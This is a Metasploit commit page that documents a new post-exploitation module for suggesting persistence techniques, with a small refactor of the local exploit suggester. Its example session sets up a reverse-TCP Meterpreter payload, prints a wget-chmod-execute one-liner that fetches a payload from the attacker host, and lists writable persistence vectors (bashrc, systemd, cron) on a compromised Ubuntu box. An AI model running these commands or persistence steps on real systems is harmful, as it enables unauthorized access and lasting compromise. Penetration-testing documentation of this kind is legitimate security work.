Skip to content

Commit d8357ce

Browse files
msutovsky-r7msutovsky-r7
authored
Land #20564, adds persistence suggester module
persistence suggester
2 parents 4dd245a + 09475fc commit d8357ce

File tree

3 files changed

+624
-2
lines changed

3 files changed

+624
-2
lines changed

‎documentation/modules/post/multi/recon/persistence_suggester.md‎

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
## Vulnerable Application
2+
3+
This module suggests persistence modules that can be used.
4+
The modules are suggested based on the architecture and platform
5+
that the user has a shell opened as well as the available exploits
6+
in meterpreter.
7+
It's important to note that not all modules will be checked.
8+
Exploits are chosen based on these conditions: session type,
9+
platform, architecture, and required default options.
10+
11+
## Verification Steps
12+
13+
1. Start msfconsole
14+
2. Get a shell/meterpreter on a box
15+
3. Do: `use post/multi/recon/persistence_suggester`
16+
4. Do: `set session #`
17+
5. Do: `run`
18+
6. You should get information about which persistence modules will work.
19+
20+
## Options
21+
22+
### ValidateArch
23+
24+
This option lets us toggle whether or not a mismatch in session and module architecture should be validated or ignored.
25+
26+
### ValidatePlatform
27+
28+
This option lets us toggle whether or not a mismatch in session and module platform should be validated or ignored.
29+
30+
### ValidateMeterpreterCommands
31+
32+
This option lets us toggle whether or not Meterpreter commands that are missing from the current Meterpreter implementation should be validated or ignored.
33+
34+
### Colors
35+
36+
Similar to the option used for `HttpTrace`. This lets us change the colors used to show valid, invalid and ignored options or incompatibilities. Unsetting this option results in no colored output.
37+
Defaults to `grn/red/blu`. Additional options are [here](https://github.com/rapid7/rex-text/blob/a72151d409cd812978f63ad0c330efbc8f44b977/lib/rex/text/color.rb#L13)
38+
39+
## Scenarios
40+
41+
### Ubuntu 24.04 User Shell
42+
43+
#### User Shell
44+
45+
```
46+
└─$ ./msfconsole -q
47+
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
48+
resource (/root/.msf4/msfconsole.rc)> setg verbose true
49+
verbose => true
50+
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
51+
lhost => 1.1.1.1
52+
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
53+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
54+
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
55+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
56+
resource (/root/.msf4/msfconsole.rc)> set target 7
57+
target => 7
58+
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
59+
srvport => 8082
60+
resource (/root/.msf4/msfconsole.rc)> set uripath l
61+
uripath => l
62+
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
63+
payload => linux/x64/meterpreter/reverse_tcp
64+
resource (/root/.msf4/msfconsole.rc)> set lport 4446
65+
lport => 4446
66+
resource (/root/.msf4/msfconsole.rc)> run
67+
[*] Exploit running as background job 0.
68+
[*] Exploit completed, but no session was created.
69+
[*] Started reverse TCP handler on 1.1.1.1:4446
70+
[*] Using URL: http://1.1.1.1:8082/l
71+
[*] Server started.
72+
[*] Run the following command on the target machine:
73+
wget -qO fTSGK2Dy --no-check-certificate http://1.1.1.1:8082/l; chmod +x fTSGK2Dy; ./fTSGK2Dy& disown
74+
msf exploit(multi/script/web_delivery) >
75+
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
76+
[*] Transmitting intermediate stager...(126 bytes)
77+
[*] Sending stage (3090404 bytes) to 2.2.2.2
78+
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 2.2.2.2:34530) at 2025-09-23 16:35:57 -0400
79+
80+
msf exploit(multi/script/web_delivery) > sessions -i 1
81+
[*] Starting interaction with 1...
82+
83+
meterpreter > sysinfo
84+
Computer : 2.2.2.2
85+
OS : Ubuntu 24.04 (Linux 6.8.0-31-generic)
86+
Architecture : x64
87+
BuildTuple : x86_64-linux-musl
88+
Meterpreter : x64/linux
89+
meterpreter > getuid
90+
Server username: ubuntu
91+
meterpreter > background
92+
[*] Backgrounding session 1...
93+
```
94+
95+
#### Persistence Suggester
96+
97+
```
98+
msf exploit(multi/script/web_delivery) > use post/multi/recon/persistence_suggester
99+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
100+
msf post(multi/recon/persistence_suggester) > set session 1
101+
session => 1
102+
msf post(multi/recon/persistence_suggester) > exploit
103+
[*] 2.2.2.2 - Collecting persistence modules for x64/linux...
104+
[*] 2.2.2.2 - The following 15 exploit checks are being tried:
105+
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager
106+
[*] 2.2.2.2 - exploit/linux/persistence/autostart
107+
[*] 2.2.2.2 - exploit/linux/persistence/bash_profile
108+
[*] 2.2.2.2 - exploit/linux/persistence/docker_image
109+
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc
110+
[*] 2.2.2.2 - exploit/linux/persistence/init_systemd
111+
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin
112+
[*] 2.2.2.2 - exploit/linux/persistence/motd
113+
[*] 2.2.2.2 - exploit/linux/persistence/rc_local
114+
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager
115+
[*] 2.2.2.2 - exploit/multi/persistence/at
116+
[*] 2.2.2.2 - exploit/multi/persistence/cron
117+
[*] 2.2.2.2 - exploit/multi/persistence/joplin_plugin
118+
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin
119+
[*] 2.2.2.2 - exploit/windows/persistence/image_exec_options
120+
[*] 2.2.2.2 - exploit/linux/persistence/apt_package_manager: The target is not exploitable. /etc/apt/apt.conf.d/ not writable
121+
[*] 2.2.2.2 - exploit/linux/persistence/autostart: The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
122+
[+] 2.2.2.2 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
123+
[*] 2.2.2.2 - exploit/linux/persistence/docker_image: The target is not exploitable. docker is required
124+
[*] 2.2.2.2 - exploit/linux/persistence/init_openrc: The target is not exploitable. /etc/init.d/ isnt writable
125+
[+] 2.2.2.2 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
126+
[*] 2.2.2.2 - exploit/linux/persistence/kate_plugin: The target is not exploitable. Kate not found
127+
[*] 2.2.2.2 - exploit/linux/persistence/motd: The target is not exploitable. /etc/update-motd.d/ is not writable
128+
[*] 2.2.2.2 - exploit/linux/persistence/rc_local: The target is not exploitable. /etc/ isnt writable
129+
[*] 2.2.2.2 - exploit/linux/persistence/yum_package_manager: The target is not exploitable. /usr/local/bin/ not writable
130+
[*] 2.2.2.2 - exploit/multi/persistence/at: The target is not exploitable. does not exist
131+
[+] 2.2.2.2 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
132+
[*] 2.2.2.2 - exploit/multi/persistence/obsidian_plugin: The target is not exploitable. No vaults found
133+
134+
[*] 2.2.2.2 - Valid modules for session 1:
135+
============================
136+
137+
# Name Potentially Vulnerable? Check Result
138+
- ---- ----------------------- ------------
139+
1 exploit/linux/persistence/bash_profile Yes The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc
140+
2 exploit/linux/persistence/init_systemd Yes The target appears to be vulnerable. /tmp/ is writable and system is systemd based
141+
3 exploit/multi/persistence/cron Yes The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
142+
4 exploit/linux/persistence/apt_package_manager No The target is not exploitable. /etc/apt/apt.conf.d/ not writable
143+
5 exploit/linux/persistence/autostart No The target is not exploitable. Xorg is not installed, likely a server install. Autostart requires a graphical environment
144+
6 exploit/linux/persistence/docker_image No The target is not exploitable. docker is required
145+
7 exploit/linux/persistence/init_openrc No The target is not exploitable. /etc/init.d/ isnt writable
146+
8 exploit/linux/persistence/kate_plugin No The target is not exploitable. Kate not found
147+
9 exploit/linux/persistence/motd No The target is not exploitable. /etc/update-motd.d/ is not writable
148+
10 exploit/linux/persistence/rc_local No The target is not exploitable. /etc/ isnt writable
149+
11 exploit/linux/persistence/yum_package_manager No The target is not exploitable. /usr/local/bin/ not writable
150+
12 exploit/multi/persistence/at No The target is not exploitable. does not exist
151+
13 exploit/multi/persistence/obsidian_plugin No The target is not exploitable. No vaults found
152+
153+
154+
[*] 2.2.2.2 - Current Session Info:
155+
[*] 2.2.2.2 - Session Type: meterpreter
156+
[*] 2.2.2.2 - Architecture: x64
157+
[*] 2.2.2.2 - Platform: linux
158+
[*] 2.2.2.2 - Incompatible modules for session 1:
159+
===================================
160+
161+
# Name Reasons Platform Architecture Session Type
162+
- ---- ------- -------- ------------ ------------
163+
1 exploit/multi/persistence/joplin_plugin Not Compatible (platform) Unix cmd meterpreter, shell
164+
2 exploit/windows/persistence/image_exec_options Missing required module options (IMAGE_FILE). Not Compatible (platform) Windows No defined architectures meterpreter
165+
166+
[*] Post module execution completed
167+
msf post(multi/recon/persistence_suggester) > notes
168+
169+
Notes
170+
=====
171+
172+
Time Host Service Port Protocol Type Data
173+
---- ---- ------- ---- -------- ---- ----
174+
2025-09-23 20:29:52 UTC 2.2.2.2 persistence.suggested_module {"exploit/linux/persistence/bash_profile"=>"The service is running, but could not be validated. Bash profile exists and is writable: /home/ubuntu/.bashrc",
175+
"exploit/linux/persistence/init_systemd"=>"The target appears to be vulnerable. /tmp/ is writable and system is systemd based",
176+
"exploit/multi/persistence/cron"=>"The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found"}
177+
2025-09-23 20:35:56 UTC 2.2.2.2 host.os.session_fingerprint {:name=>"2.2.2.2", :os=>"Ubuntu 24.04 (Linux 6.8.0-31-generic)", :arch=>"x64"}
178+
```

‎modules/post/multi/recon/local_exploit_suggester.rb‎

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -73,9 +73,10 @@ def is_session_type?(mod)
7373
end
7474

7575
def is_module_platform?(mod)
76-
platform_obj = Msf::Module::Platform.find_platform session.platform
7776
return false if mod.target.nil?
7877

78+
platform_obj = Msf::Module::Platform.find_platform session.platform
79+
7980
module_platforms = mod.target.platform ? mod.target.platform.platforms : mod.platform.platforms
8081
module_platforms.include? platform_obj
8182
rescue ArgumentError => e
@@ -260,7 +261,7 @@ def run
260261
report_note(
261262
host: session.session_host,
262263
type: 'local.suggested_exploits',
263-
data: { :suggested_exploits => report_data }
264+
data: { suggested_exploits: report_data }
264265
)
265266
end
266267

0 commit comments

Comments
 (0)